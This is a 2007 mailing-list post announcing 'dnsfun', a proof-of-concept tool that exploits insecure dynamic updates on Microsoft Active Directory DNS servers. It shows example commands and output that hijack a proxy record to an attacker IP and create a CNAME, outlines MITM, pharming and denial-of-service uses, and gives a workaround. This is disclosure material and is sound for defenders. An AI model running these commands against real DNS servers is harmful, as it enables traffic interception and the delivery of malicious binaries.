Hi list,<br><br>By default, most Microsoft DNS servers integrated with active directory allows<br>insecure dynamic updates for dns records.<br>This feature allows remote users to create, change and delete DNS records.<br>There are several attack scenarios:
<br><br>+ MITM attacks: Changing dns records for the network proxy and relay HTTP queries. <br> This attack vector is the most reliable and also allows us to exploit automatic <br> updates for most Windows software, by deploying custom binaries to the client.
<br><br> + Denial of service: by deleting / changing critical dns records<br><br> + Pharming: like mitm attacks, poisoning several dns records.<br><br>dnsfun exploits that weak configuration and allows remote users to modify dns records.
<br>Here are some examples of what can be done. Example:<br><br><br>D:\DNSfun>ping -n 1 <a href="http://FakeProxy.fooooo.com">FakeProxy.fooooo.com</a><br>Haciendo ping a <a href="http://FakeProxy.fooooo.com">FakeProxy.fooooo.com
</a> [<a href="http://66.6.66.6">66.6.66.6</a>] con 32 bytes de datos:<br> <br>D:\DNSfun>dnsfun.exe -s <a href="http://10.100.1.1">10.100.1.1</a> -q proxy.mydomain -u <a href="http://66.6.66.6">66.6.66.6</a><br>Microsoft Dynamic DNS Updates - Proof of Concept
<br><a href="http://www.514.es">http://www.514.es</a> - (c) 2007 Andres Tarasco Acuņa<br> <br> [+] Trying to resolve Host: proxy.mydomain (Dns Server <a href="http://10.100.1.1">10.100.1.1</a>)<br> [+] Host proxy.mydomain
resolved as <a href="http://192.168.1.200">192.168.1.200</a><br> [+] Trying to set ip address of the host proxy.mydomain to <a href="http://66.6.66.6">66.6.66.6</a><br> [+] Trying Nonsecure Dynamic Update...<br> [?] Host Updated. Checking...(0)
<br> [+] Host proxy.mydomain resolved as <a href="http://66.6.66.6">66.6.66.6</a><br><br>D:\DNSfun>dnsfun.exe -s <a href="http://10.100.1.1">10.100.1.1</a> -cc <a href="http://atarasco.mydomain.com">atarasco.mydomain.com
</a> -u <a href="http://www.514.es">www.514.es</a><br> Microsoft Dynamic DNS Updates - Proof of Concept<br> <a href="http://www.514.es">http://www.514.es</a> - (c) 2007 Andres Tarasco Acuņa<br><br>[+] Gathering Credentials..
<br>[+] Creating DNS CName Record for <a href="http://atarasco.mydomain.com">atarasco.mydomain.com</a> (<a href="http://www.514.es">www.514.es</a>)<br>[+] Host Created. Rechecking Record...<br>[+] Host <a href="http://atarasco.mydomain.com">
atarasco.mydomain.com</a> resolved as CNAME <a href="http://www.514.es">www.514.es</a><br><br>This isn't a new vulnerability but AFAIK those attack vectors were never exploited.<br>Workaround: Disable dynamic updates or set your dns to only accept secure updates.
<br><br>Spanish version and both src+binary are available at <a href="http://www.514.es/2007/03/explotando_actualizaciones_din.html">http://www.514.es/2007/03/explotando_actualizaciones_din.html</a><br><br>regards,<br><br>
Andres Tarasco<br><br><br>